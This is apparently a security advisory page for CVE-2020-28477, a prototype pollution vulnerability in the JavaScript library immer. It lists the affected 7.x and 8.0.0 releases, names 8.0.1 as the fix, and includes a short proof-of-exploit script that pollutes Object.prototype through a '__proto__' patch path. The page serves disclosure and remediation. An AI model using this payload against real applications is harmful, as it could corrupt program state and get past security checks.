Packages / immer / Security

HighVulnerabilityGHSA-9qmh-276g-x5pjCVE-2020-28477Published 20 Jan 2021

Prototype Pollution in immer

Your version

Affected releases · immer

  • 8.x8.0.0Fixed in 8.0.1
  • 7.x7.0.0 – 7.0.15No fix on this line yet

On 8.x, the newest line:

npm install immer@8.0.1
Every release on a timeline
11.x

  1. Not affected

    11.0.0 – 11.2.9

    35 releases, latest

8.x

  1. Affected

    8.0.0

    1 release

  2. Fixed

    8.0.1 – 8.0.4

    4 releases

7.x

  1. Affected

    7.0.0 – 7.0.15

    16 releases

193 stable releases of immer, oldest to newest, one row per major.

What happens

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.